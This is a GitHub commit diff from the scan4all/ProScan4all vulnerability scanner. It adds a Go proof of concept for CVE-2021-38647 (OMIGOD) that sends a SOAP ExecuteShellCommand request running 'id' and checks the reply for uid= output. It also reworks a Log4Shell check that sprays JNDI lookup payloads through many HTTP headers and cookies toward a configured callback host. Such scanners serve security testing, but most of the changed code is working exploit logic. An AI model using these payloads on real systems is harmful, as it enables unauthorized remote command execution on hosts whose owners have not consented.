Skip to content

Commit 2dd30f5

Browse files
hktalenthktalent
committed
up 2022-10-14
1 parent 6a57b04 commit 2dd30f5

File tree

6 files changed

+76
-18
lines changed

6 files changed

+76
-18
lines changed

‎config/config.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
"LimitReader": 819200,
44
"OnClient": true,
55
"ScanPoolSize":5000,
6-
"JndiAddress": "https://rcejndi.51pwn.com",
6+
"JndiAddress": "docker.for.mac.localhost:1389",
77
"CeyeDomain": "scan4all.51pwn.com",
88
"CacheName": ".DbCache",
99
"autoRmCache": "true",

‎lib/util/util.go

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -79,8 +79,8 @@ func GetClient4Cc(szUrl string) *PipelineHttp.PipelineHttp {
7979
InitCHcc()
8080
oU, err := url.Parse(szUrl)
8181
if nil == err {
82-
// if o := clientHttpCc.Get(oU.Scheme + oU.Host); nil != o {
83-
if o := clientHttpCc.Get("_ccClient"); nil != o && oU.Hostname() != "" {
82+
if o := clientHttpCc.Get(oU.Host); nil != o {
83+
//if o := clientHttpCc.Get("_ccClient"); nil != o && oU.Hostname() != "" {
8484
if v, ok := o.Value().(*PipelineHttp.PipelineHttp); ok {
8585
return v
8686
}
@@ -126,8 +126,8 @@ func GetClient(szUrl string, pms ...map[string]interface{}) *PipelineHttp.Pipeli
126126
//client.Client = G_hc
127127
mUrls.Store(oU.Host, "")
128128
clientHttpCc.Delete(oU.Scheme + oU.Host)
129-
//clientHttpCc.Set(oU.Scheme+oU.Host, client, defaultInteractionDuration)
130-
clientHttpCc.Set("_ccClient", client, defaultInteractionDuration)
129+
clientHttpCc.Set(oU.Host, client, defaultInteractionDuration)
130+
//clientHttpCc.Set("_ccClient", client, defaultInteractionDuration)
131131

132132
return client
133133
}

‎log4j.go

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -11,22 +11,22 @@ import (
1111
var config1 embed.FS
1212

1313
// log4j 系列
14-
// 1、log4j盲大全套，包含struts2 根目录、二级目录
14+
// 1、log4j盲打全套，包含struts2 根目录、二级目录
1515
// 2、VCenter
1616
// 3、CheckTemenosT24
1717
// 4、Solr 上传jsp不会被解析
1818
// 5、struts2
1919
func main() {
2020
util.DoInit(&config1)
21-
szUrl := "http://127.0.0.1:9999/"
22-
//if log4j.Check(szUrl, szUrl) {
23-
//
24-
//}
21+
szUrl := "http://127.0.0.1:8080/"
22+
if log4j.Check(szUrl, szUrl) {
23+
24+
}
2525
//if log4j.VCenter(szUrl) {
2626
//
2727
//}
2828
//log4j.CheckTemenosT24(szUrl)
29-
log4j.Solr(szUrl)
29+
//log4j.Solr(szUrl)
3030
util.Wg.Wait()
3131
util.CloseAll()
3232
}

‎pocs_go/CVE-2021-38647.go

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
package pocs_go
2+
3+
import (
4+
"fmt"
5+
"github.com/hktalent/ProScan4all/lib/util"
6+
"io"
7+
"regexp"
8+
"strings"
9+
)
10+
11+
var Payload = `<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
12+
<s:Header>
13+
<a:To>HTTP://192.168.1.1:5986/wsman/</a:To>
14+
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
15+
<a:ReplyTo>
16+
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
17+
</a:ReplyTo>
18+
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
19+
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
20+
<a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
21+
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
22+
<w:Locale xml:lang="en-us" s:mustUnderstand="false" />
23+
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
24+
<w:OptionSet s:mustUnderstand="true" />
25+
<w:SelectorSet>
26+
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
27+
</w:SelectorSet>
28+
</s:Header>
29+
<s:Body>
30+
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
31+
<p:command>%s</p:command>
32+
<p:timeout>0</p:timeout>
33+
</p:ExecuteShellCommand_INPUT>
34+
</s:Body>
35+
</s:Envelope>`
36+
37+
var R001 = regexp.MustCompile(`<p:StdOut>(.*uid=.*)<\/p:StdOut>`)
38+
39+
func DoCheckCVE202138647(szUrl string) bool {
40+
if r1, err := util.DoPost(szUrl, map[string]string{
41+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",
42+
"Content-Type": "application/soap+xml;charset=UTF-8"}, strings.NewReader(fmt.Sprintf(Payload, "id"))); nil == err {
43+
defer r1.Body.Close()
44+
if data, err := io.ReadAll(r1.Body); nil == err {
45+
if R001.MatchString(string(data)) {
46+
return true
47+
}
48+
}
49+
}
50+
return false
51+
}

‎pocs_go/log4j/check.go

Lines changed: 13 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -105,7 +105,7 @@ func VCenter(u string) bool {
105105
func Check(u string, finalURL string) bool {
106106
if (util.CeyeApi != "" && util.CeyeDomain != "") || jndi.JndiAddress != "" {
107107
var host = "null"
108-
randomstr := util.RandomStr()
108+
randomstr := "UpX34defineClass" //util.RandomStr()
109109
if ux, err := url.Parse(strings.TrimSpace(u)); err == nil {
110110
host = strings.Replace(ux.Host, ":", ".", -1)
111111
}
@@ -117,7 +117,7 @@ func Check(u string, finalURL string) bool {
117117
for _, payload := range log4jJndiPayloads {
118118
var uri string
119119
if jndi.JndiAddress != "" {
120-
uri = jndi.JndiAddress + "/" + randomstr + "/"
120+
uri = jndi.JndiAddress + "/" + randomstr
121121
} else if util.CeyeApi != "" && util.CeyeDomain != "" {
122122
uri = randomstr + "." + host + "." + util.CeyeDomain
123123
}
@@ -126,6 +126,9 @@ func Check(u string, finalURL string) bool {
126126
header := make(map[string]string)
127127
header["Content-Type"] = "application/x-www-form-urlencoded"
128128
header["User-Agent"] = payload
129+
// docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
130+
header["X-Api-Version"] = payload
131+
//log.Println("payload", payload)
129132
/* struts2 对静态文件 进行处理 If-Modified-Since，struts2默认静态文件
130133
tooltip.gif
131134
domtt.css
@@ -148,17 +151,21 @@ func Check(u string, finalURL string) bool {
148151
header["Originating-IP"] = payload
149152
header["X-Real-IP"] = payload
150153
header["Forwarded"] = payload
151-
// docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
152-
header["X-Api-Version"] = payload
153-
154154
header["X-Wap-Profile"] = payload
155155
header["Contact"] = payload
156156
header["Forwarded"] = payload
157157
header["X-Device"] = payload
158158
header["Token"] = payload
159159
header["Cookie"] = "JSESSIONID=" + payload
160160
// 包含strus2 根目录
161-
_, _ = util.HttpRequset(domain+"/"+payload, "GET", "", false, header)
161+
_, err := util.HttpRequset(domain+"/"+payload, "GET", "", false, header)
162+
if nil != err {
163+
log.Println("POST", domain+"/"+payload, err)
164+
}
165+
_, err = util.HttpRequset(domain, "GET", "", false, header)
166+
if nil != err {
167+
log.Println("GET", domain, err)
168+
}
162169
_, _ = util.HttpRequset(finalURL, "POST", strings.Join(intputs, "="+payload+"&")+"="+payload, false, header)
163170
_, _ = util.HttpRequset(domain, "POST", strings.Join(intputs, "="+payload+"&")+"="+payload, false, header)
164171

‎vendor/github.com/projectdiscovery/naabu/v2/pkg/scan/scan.go

Lines changed: 1 addition & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)